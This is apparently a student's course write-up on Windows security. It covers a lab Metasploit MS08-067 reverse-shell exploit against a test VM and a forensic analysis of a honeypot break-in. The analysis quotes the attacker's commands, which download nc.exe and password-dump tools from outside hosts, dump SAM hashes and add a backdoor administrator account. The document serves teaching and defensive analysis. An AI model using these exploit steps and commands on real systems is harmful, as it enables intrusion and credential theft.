20199114 2019-2020-2 《网络攻防实践》第七周作业

20199114 2019-2020-2 《网络攻防实践》第七周作业

一、实验内容

1. Windows操作系统基本框架概述

1.1 Windows操作系统的基本结构

Windows操作系统的基本结构如图所示,分为运行于处理器特权模式(ring 0)的操作系统内核,以及运行在处理器非特权模式(ring 3)的用户空间代码。Windows采用宏内核(monolithic)模式来进行架构,即大量的内核模块与设备驱动程序共享内核态内存空间,这使得任意的内核模块或设备驱动程序都可能破坏其他内核模块数据。

Windows操作系统内核的基本模块包括如下:

  • Windows执行体:即Windows内核核心文件ntoskrnl.exe的上层接口,包含基本的操作系统内核服务,如进程与线程管理、内存管理、I/O管理、网络连接、进程间通信,以及安全服务。
  • Windows内核体:即Windows内核核心文件ntoskrnl.exe中函数实现与硬件体系结构支持代码,实现底层的操作系统功能,如线程调度、中断和异常分发处理、7多处理器同步机制等,同时也提供了一组内核例程与基本对象,以帮助执行体来实现高层次的功能服务。
  • 设备驱动程序:包括将用户I/O操作映射为特定硬件设备I/O请求的硬件设备驱动程序,以及文件系统与网络设备驱动程序。该部分支持通过数字签名认证的第三方硬件厂商的硬件设备驱动程序加载进入内核执行。
  • 硬件抽象层:即hal.dll文件,是用于屏蔽Windows内核与平台硬件差异性的底层代码。
  • Windows窗口与图形界面接口内核实现代码:即win32k.sys文件。

Windows操作系统在用户态的代码模块则包括如下:

  • 系统支持进程:Window开机自动启动的系统内建服务进程,如负责用户身份认证的logon进程,会话管理进程等。
  • 环境子系统服务进程:为操作系统运行环境提供支持的服务进程。
  • 服务进程:通过Windows的服务管理机制所启动的一系列系统及网络服务,如TaskScheduler任务管理服务,Microsoft SQL Server网络服务等。
  • 用户应用软件:在用户态执行的各类用户应用软件。
  • 核心子系统DLL:即kernel32.dll/user32.dll/gdi32.dll/advapi32.dll等动态连接库文件,作为用户态服务进程与应用软件和操作系统内核的交互接口,将用户态程序调用的系统API函数映射到相应的一个或多个Windows内部的系统服务调用。

在上述系统架构下,Windows操作系统内核中实现了如下的核心机制:

  • Windows进程和线程管理机制

    Windows将线程视作可执行程序运行时刻的容器,包括一个私有虚拟内存空间描述符,系统资源对象句柄列表,带有执行用户账号权限的安全访问令牌,记录了进程ID和其父进程ID等信息,并至少包含一个作为进程内部指令执行体的执行线程。Windows线程作为指令执行的具体载体,其线程控制块TCB中包含程序执行的上下文信息。

    进程是资源管理的最小单位,线程是程序执行的最小单位

  • Windows内存管理机制

    Windows的虚拟内存空间分为系统核心内存区间与用户内存区间两部分。系统核心内存用于映射内核、HAL等内核执行模块,并存储内核内存对象,对于用户态程序是无法直接访问的。用户态内存中包含用户程序的代码段、数据段,并对每个线程对应有一个栈和一个堆。

  • Windows文件管理机制

    早期以FAT(File Allocation Table)文件分配表格式来管理文件系统,后被NTFS(NT File System)所取代。NTFS文件系统更安全、高效。Windows上的可执行文件采用PE(Portable Executable)格式,主要由Dos头PE头分段表,以及具体的代码段数据段等组成。

  • Windows注册表管理机制

    Windows系统注册表在作为系统全局配置、用户和应用软件配置信息的存储仓库,在Windows系统配置和控制方面承担着关键角色。几乎每个Windows操作都伴随着大量从注册表中读取和修改配置信息的动作。Windows注册表可以通过系统自带的regedit.exe注册表查找编辑工具或其他第三方工具进行访问和修改,并可使用RegMon等工具监视系统的注册表读写操作。

  • Windows的网络机制

    从OSI网络参考模型的物理层到应用层,各层上对应的Windows网络组件模块包括如下:

    组件 作用
    物理层 各种网卡硬件的设备驱动程序
    链路层 NIDS(Network Driver Interface Specification)库及miniport驱动程序 为各种不同的网卡适配器驱动程序和TDI传输成之间构建了一个封装接口。
    网络层与传输层 TDI(Transport Driver Interface)传出层,也通常被称为网络协议驱动 实现了多种协议栈,接受上层TDI客户端的IRP请求,并调用NDIS库中提供的网卡适配器驱动程序功能进行网络传输。
    会话层与表示层 网络API DLL及TDI客户端 为应用程序提供了独立与具体协议的网络交互实现方式,TDI客户端作为内核模式驱动程序,是网络API接口的具体实现,通过向TDI传输层网络协议驱动发送IRP请求,来完成API具体请求的网络通信操作。
    应用层 网络应用程序与服务进程 通常使用各类网络API DLL来实现网络交互与通信功能。

2. Windows操作系统的安全体系结构与机制

2.1 Windows安全体系结构

Windows操作系统基于引用监控器模型(Reference Monitor)来实现基本的对象安全模型。

基于引用监控器这一经典安全模型,Windows操作系统以下图的安全体系结构来实现基础的安全机制,其中最为核心的是位于内核中的SRM安全引用监控器,以及位于用户态的LSASS安全服务,它们与Winlogon/Netlogon及Eventlog等服务一起,实现了对主体用户的身份认证机制、对所有资源对象的访问控制机制,以及对访问的安全审计机制。

2.2 Windows身份认证机制

Windows操作系统中以安全主题概念来包含所有进行系统资源访问请求的实体对象,有用户、用户组、计算机三大类,对于每个安全主体,以时间和空间上都全局唯一的SID安全标识符来进行标识,其中S为固定字符,I为版本号,第三位是个48bit数值,表示颁发机构,之后多个32bit数值为子颁发机构标识,最后一部分被称为RID。

Windows为每个用户和计算机设置账户进行管理,作为这些安全主体运行程序代码的执行环境,而账户权限的根本作用就是限制这些账户内运行程序对系统资源对象的访问。

用户组是为了简化用户管理而引入的用户账户管理容器,通过将用户账户加入特定的用户组,就可以使得该用户拥有用户组配置的全部权限。

windows的用户账户的口令通过加密处理之后被保存于SAM或者活动目录AD中。

Winlogon进程、GINA图形化登录窗口与LSASS服务通过协作来完成本地身份认证过程。

2.3 Windows授权于访问控制机制

Windows 的授权与访问控制机制是基于引用监控器模型,由内核中的 SRM 模块与用户态的LSASS服务共同来实施,由SRM 作为安全主体访问对象资源时的中介,根据设定的访问控制列表进行授权访问。
在用户等安全主体经过认证之后,Windows 系统会赋予用户一个访问令牌,在这个令牌中保存了一份与登录用户账户有关的安全主体 SID 标识符列表,包括用户账户本身的SID, 所属用户组的 SID 列表,同时还包含该用户所拥有的一些系统特权列表。
认证用户在启动进程执行特定操作时,进程在它的进程控制块结构中也将包含一个安全访问令牌(Security Access Token), 继承了启动进程的用户账户中所拥有的访问令牌。

Windows对于系统中所有需保护的资源都抽象成对象,对每个对象都会关联一个SD安全描述符(Security Descriptor),对象安全描述符有如下主要属性组成:

  • Owener SID:对象所有者的SID安全标识符。
  • Group SID:对象所在基本用户组的SID安全标识符。
  • DACL自主访问控制列表:指明了那些安全主体可以何种方式来访问该对象。
  • SACL系统审计访问控制列表:指明了由哪些主体发起的哪些访问需要被审计。

Windows系统的基本访问控制机制与对象安全模型:

2.4 Windows安全审计机制和其他安全机制

2.4.1 安全审计机制

系统审计策略在本地安全策略中由系统管理员定义,来确定系统对哪些事件进行记录。

  1. LSASS 服务将保存审计策略,并在对象启动审计功能后,在对象安全描述符中的SACL 列表中进行保存;
  2. SRM 安全引用监控器在进行对象访问授权时,也将依据对象的 SACL 列表配置,对指定的对象访问和操作事件进行审计记录,发送给LSASS服务;
  3. 由LSASS服务补充审计记录细节信息后,再将这些审计记录发送给 EventLog 事件日志服务;
  4. EventLog服务最后将事件日志写入日志文件中,并通过事件查看器工具展示给系统管理员,也可以作为第三方审计日志分析工具的分析输入数据源。

2.4.2 其他安全机制

Windows系统在安全中心继承了对Windows系统安全稳定运行最为关键的三项安全措施——防火墙、补丁自动更新和病毒防护。

除此之外,Windows的安全特性还包括IPSec加密与验证机制、EFS加密文件系统、Windows文件保护机制等。

3. Windows远程安全攻防技术

目前Windows远程攻击技术可以分为以下几类:

  • 远程口令猜测与破解攻击
  • 攻击Windows网络服务
  • 攻击Windows客户端及用户

3.1 Windows系统安全漏洞生命周期

针对特定目标的渗透测试攻击过程

  1. 漏洞扫描测试
  2. 查找针对发现漏洞的渗透代码
  3. 实施渗透测试

使用Metasploit软件实施渗透测试

Metasploit采用开发框架和模块组件的可扩展模型,以Ruby语言编写的MSF库作为整个软件的基础核心,为渗透测试组件的开发测试提供平台。

Metasploit模块组件

  • Exploits模块:攻击代码或程序,它允许攻击者利用易受攻击的系统并危害其安全性。每个漏洞都有对应的漏洞利用程序。Metasploit有超过 1700 个漏洞利用程序。
  • Payload模块:攻击载荷。它主要用于建立攻击者和受害者机器直接的连接,Metasploit有超过 500个有效攻击载荷。
  • Auxiliary模块:进行扫描、查点等其他辅助任务。
  • Encoders模块:对攻击负载进行编码以躲避检测。
  • Nops模块:对攻击负载进行填充。

3.2 Windows远程口令猜测与破解攻击

防范措施:

  1. 尽量关闭不必要开放的易受远程口令猜测攻击的网络服务。
  2. 配置主机防火墙来限制对端口的服务。
  3. 利用网络防火墙来限制这些服务的访问。
  4. 禁用过时而存在且本质上安全缺陷的LanMan和NTLM。
  5. 制定和实施强口令字策略;设置账户锁定阈值;在系统上激活账户登录失败事件审计功能。

3.3 Windows网络服务远程渗透攻击

防范措施

  1. 从软件设计开发根源上尽可能减少安全漏洞的出现,对于发现的漏洞,应尽快提供补丁。
  2. 尽快更新与应用软件安全补丁。
  3. 在“零日”漏洞实践,通过限制或暂时禁用对存在漏洞的网络服务的访问。
  4. 利用安全核对清单来对服务进行安全配置。
  5. 通过漏洞扫描软件来表示网络中存在的已知安全漏洞并及时修补。

4. Windows本地安全攻防技术

4.1 Windows本地特权提升

在攻击者获得Windows系统上的受限用户权限之后,他们将立即着眼于获得终极特权。从受限用户权限尝试获得特权账户的攻击技术也被称为特权提升,业内简称为“提权”。Windows系统上进行提权的攻击途径主要通过DLL注入破解本地程序安全漏洞

防范措施:

  1. 及时给自己的系统打好补丁。
  2. 及时跟踪软件厂商的安全警告。
  3. 尽快采用厂商提供的方法进行应对。

4.2 Windows敏感信息窃取

对Windows系统进行敏感信息窃取的手段如下:

  • windows系统口令字密文提取技术
  • windows系统口令字破解技术
  • 用户敏感信息窃取

防范措施:使用更安全的加密算法保护铭文口令字,以及通过安全配置策略避免缓存关键服务器的敏感登录口令信息。

4.3 Windows消灭踪迹

在攻击者获得管理员权限,并窃取了所感兴趣的敏感信息之后,攻击者会把各种入侵痕迹进行删除或掩盖,使用户或管理员无法意识到系统已被攻陷,从而保证攻击者对系统的长期控制。

消灭踪迹的手段主要如下:

  • 关闭审计功能
  • 清理事件日志

防范措施:实现配置好系统审计和网络服务审计功能,并将日志传输到安全服务器中。

4.4 Windows远程控制与后门程序

攻击者在目标系统上完成提权、信息提取、掩迹灭踪等任务之后,为了确保以后能方便地登陆到这台系统主机,他们还会在系统中植入远程控制和后门程序,位置对这台主机的持久控制权。

攻击者往往会在受控的系统中自主植入第三方的远程控制与后门程序,主要分为:

  • 命令行远程控制工具
  • 图形化远程控制工具

防范措施:采用后门检测软件来尝试发现攻击者隐藏的后门程序。

二、实践过程

1.动手实践:Metasploit Windows Attack

Q:使用Windows Attacker/BT4攻击机尝试对Windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机访问权;

A:本次实践使用Kali和Win2kServer两台虚拟机,其中Kali作为攻击机,Win2kServer作为靶机

虚拟机 IP Address
Kali 192.168.200.2
Win2kServer 192.168.200.124

打开Kali的终端,输入msfconsole,显示如下图所示的结果:

经查找,发现默认安装的bundler的最新版本为2.14,msfconsole依赖的版本是1.17.3,所以需要安装旧版本才能继续进行,执行以下命令安装并更新:

gem install bundler:1.17.3
gem update 
9

上述操作完成之后,再次输入msfconsole,就可以正常执行了,结果如下图所示:

经过尝试,发现基本每次打开,图案都不一样,蛮有意思的

10

输入search ms08_67,查看该漏洞的详细信息,通过查看名称,可以知道这是一个可以用渗透攻击Windows SMB协议的漏洞

11

输入 use exploit/windows/smb/ms08_67_netapi,使用这个漏洞

再输入 show payloads显示可攻击的载荷

12

通过使用 set payload generic/shell_reverse_tcp命令设置攻击的载荷为tcp反向连接

13

输入 show options显示攻击所需的参数

13

然后,输入

set LHOST 192.168.200.2
set RHOST 192.168.200.124

设置进行渗透攻击的主机为Kali,受到攻击的主机为Win2kServer

16

输入exploit,开始进行攻击

17

攻击成功后,就进入到了靶机的命令行界面,输入ipconfig/all就可以查看靶机的相关信息了

18

至此,实践结束。

2. 取证分析实践:解码一次成功的NT系统破解攻击

Q:来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106(主机名为:lab.wiretrip.net),回答下列问题:

  • 攻击者使用了什么破解工具进行攻击?

  • 攻击者如何使用这个破解工具进入并控制了系统?

  • 当攻击者获得系统的访问权后做了什么?

  • 我们如何防止这样的攻击?

  • 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?

A:

用Wireshark打开日志文件,面对天书般的日志文件,一时感觉无从下手,稍事观察后,发现日志文件由以下内容组成:

  • 可识别的HTTP协议内容
  • 可识别的SQL语言代码内容
  • 可识别的系统操作代码内容
  • 不可识别的数据(二进制数据)

将过滤条件设置为:ip.addr==172.16.1.106 and http

开始观察,发现第117行出现一个字符 %C0%AF,百度之后得知..%C0%AF..为“/”的Unicode编码,因此猜想靶机存在Unicode解析错误漏洞

接着往下看,来到140这行,看到一个msadcs.dll文件

21

对第149行进行HTTP流追踪,发现一行数据为 --!ADM!ROX!YOUR!WORLD!,搜索之后了解到这应该是一个RSD漏洞攻击

22

在HTTP流中还发现了一组shell脚本代码

将这种代码全都提取出来,得到如下结果:

shell (“cmd /c echo werd >> c : f u n ” ) ;
shell ( “cmd /c echo user johna2k > ftpcom” ) ;
shell ( “cmd /c echo hacker 2000 >> ftpcom” ) ;
shell ( “cmd /c echo get pdump.exe >> ftpcom” ) ;
shell ( “cmd /c echo get nc.exe>>ftpcom” ) ;
shell ( “cmd /c echo quit>>ftpcom” )
shell ( “cmd /c ftp – s : ftpcom- n www.nether.net” ) ;
shell ( “cmd /c pdump .exe>>new.pass” ) ;
shell ( “cmd /c echo userjohna2k > ftpcom2 ” ) ;
shell ( “cmd /c echo hacker2000>>ftpcom2 ” ) ;
shell ( “cmd /c put new . pass>>ftpcom2 ” ) ;
shell ( “cmd /c echo quit>>ftpcom2 ” ) ;
shell ( “cmd /c ftp -s : ftpcom2 – n www.nether.net” ) ;
shell ( “cmd /c ftp 213.116.251.162 ” ) ;

shell ( “cmd /c echo open 213.116.251.162 > ftpcom ” ) ;
shell ( “cmd /c echo johna2k > ftpcom” ) ;
shell ( “cmd /c echo hacker2000>>ftpcom” )
shell ( “cmd /c echo get samdump.dll>>ftpcom” ) ;
shell ( “cmd /c echo get pdump.exe>>ftpcom” ) ;
shell ( “cmd /c echo get nc.exe>>ftpcom” ) ;
shell ( “cmd /c echo quit>>ftpcom” ) ;
shell ( “cmd /c ftp – s : ftpcom ) ;

shell ( “cmd /c open 212.139.12.26 ” ) ;
shell ( “cmd /c echo johna2k>>sasfile ” ) ;
shell ( “cmd /c echo haxedj00>>sasfile ” ) ;
shell ( “cmd /c echo get pdump.exe>>sasfile ” )
shell ( “cmd /c echo get samdump.dll>>sasfile ” ) ;
shell ( “cmd /c echo get nc.exe>>sasfile ” ) ;
shell ( “cmd /c echo quit>>sasfile ” ) ;
shell ( “cmd /c ftp – s : sasfile ” )

shell ( “cmd /c open 213.116.251.162 ” ) ;
shell ( “cmd /c echo johna2k>>sasfile ” ) ;
shell ( “cmd /c echo haxedj00>>sasfile ” ) ;
shell ( “cmd /c echo get pdump.exe>>sasfile ” ) ;
shell ( “cmd /c echo get samdump.dll>>sasfile ” ) ;
shell ( “cmd /c echo get nc.exe>>sasfile ” ) ;
shell ( “cmd /c echo quit>>sasfile ” ) ;

shell ( ” cmd / c C : ProgramFiles CommonFiles system msadc pdump.exe > > yay.txt ” )
shell ( ” cmd / c C : ProgramFiles CommonFiles system msadc pdump.exe > > yay.txt ” )
 
shell ( ” cmd / c pdump.exe >> c : yay.txt ” )
shell ( ” cmd / c net session > > yay2.txt ” )
shell ( ” cmd / c net session > > yay2.txt ” )
shell ( ” cmd / c net users > > heh.txt ” )
shell ( ” cmd / c net users > > c : heh.txt ” )
 
shell ( “ / c n e t localgroup Domain Admin I W A M _ K E N N Y / A D D ” )
shell ( “ / c n e t user testuser UgotHacked / A D D ” )
shell ( “ / c n e t localgroup Administrators testuser / A D D ” )
 
shell ( ” cmd / crdisk – / s ” )
shell ( ” cmd / crdisk – s “ )
shell ( ” cmd / crdisk ” )
shell ( ” cmd / crdisk – / s ” )
shell ( ” cmd / crdisk – s “ )
shell ( ” cmd / crdisk / s –“ )
shell ( ” cmd / crdisk / s –“ )
shell ( ” cmd / crdisk / s –“ )
 
shell ( ” cmd / c typec : winnt repair sam . _ > > c : har.txt ” )
shell ( ” cmd / c delc : inetpub wwwroot har.txt ” )
shell (” cmd / c delc : inetpub wwwroot har.txt “)

通过分析上面的代码,可以了解到攻击者如何将网络攻击工具软件注入到被攻击的目标主机。

首先,攻击者通过IIS Unicode漏洞了解了被攻击主机操作系统的一些基本情况,然后利用Windows系统的msadc系统漏洞允许任意代码执行的缺陷,将pwdump.exe口令破解工具注入到目标主机并破解目标主机的登录用户名和口令,并通过修改用户名和口令的方式完成了利用FTP进行性网络攻击工具软件nc.exe的注入操作。

随后,攻击者利用nc.exe对目标主机进行了端口绑定操作,以实现允许攻击者进行远程登录操作

在整个操作过程中,攻击者多次使用帮助命令来获取相关命令参数的使用帮助信息,同时,其操作命令经常出现错误。总的看来,在这次攻击过程中,攻击者的表现不是很好,进而可以推断,其本人的技术水平应该不是很高。

下面对任务中的问题进行回答:

A1:攻击者利用口令破解工具和nc.exe来实现对目标主机的攻击,Nc.exe:完成远程主机连接等工作。

A2:完成远程主机连接后,利用telnet操作实现对操作系统的控制。

A3:在攻击者完成了远程登录操作后,他主要完成了下面的几项操作:

  1. 对目标主机的文件系统进行了嗅探(有近百余次的文件目录操作),并多次打开目标主机中的相关文件。
  2. 尝试在根目录下创建rdisk,但是没有成功
  3. 试图通过删除SAM数据库中的数据(拷贝和删除har.txt)和将自己添加到管理员组中来实现提升访问权限
  4. 其它端口(6969)上运行nc,但是失败了。

A4:及时下载厂商提供针对这类漏洞的相关补丁

A5:不知道(我不知道)

团队对抗实践:Windows系统远程渗透攻击与分析

Q:

攻击方:使用metasploit, 选择metasploitable中的漏洞进行渗透攻击,获得控制权。

防守方:使用tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,并结合wireshark/snort分析攻击过程,获取攻击者IP地址、目标IP和端口、攻击发起时间、攻击利用漏洞、攻击使用shellcode,以及攻击成功之后在本地执行的命令输入等信息。

A:

执行第一个实践的代码,如图所示

执行expolit时,打开Wireshark,观察发现攻击机向靶机发了许多SMB数据包,同时看到攻击方IP地址为:192.168.200.2,防守方的IP地址为:192.168.200.124,源端口为37587,目标端口为445

24

三、学习中遇到的问题及解决

Q1:第一次输入msfconsole的时候,一直打不开,update和upgrade都试了,也没法打开。

A1:经过百度,了解到是版本问题,下载了旧版本的bundler就可以了。

Q2:NT分析的时候不知道咋分析。

A2:翻看教材,参考同学和网友的博客才知道咋弄。

四、实践总结

本次实践过程总的来说比较顺利,没有什么太难的地方,但是NT分析的时候,确实是很难,不过对照着资料整个看下来之后,还是清晰了一些,了解了一些漏洞攻击的技术,还是比较有意思的。

posted @ 2020-04-14 17:28  王昱皓  阅读(224)  评论(0编辑  收藏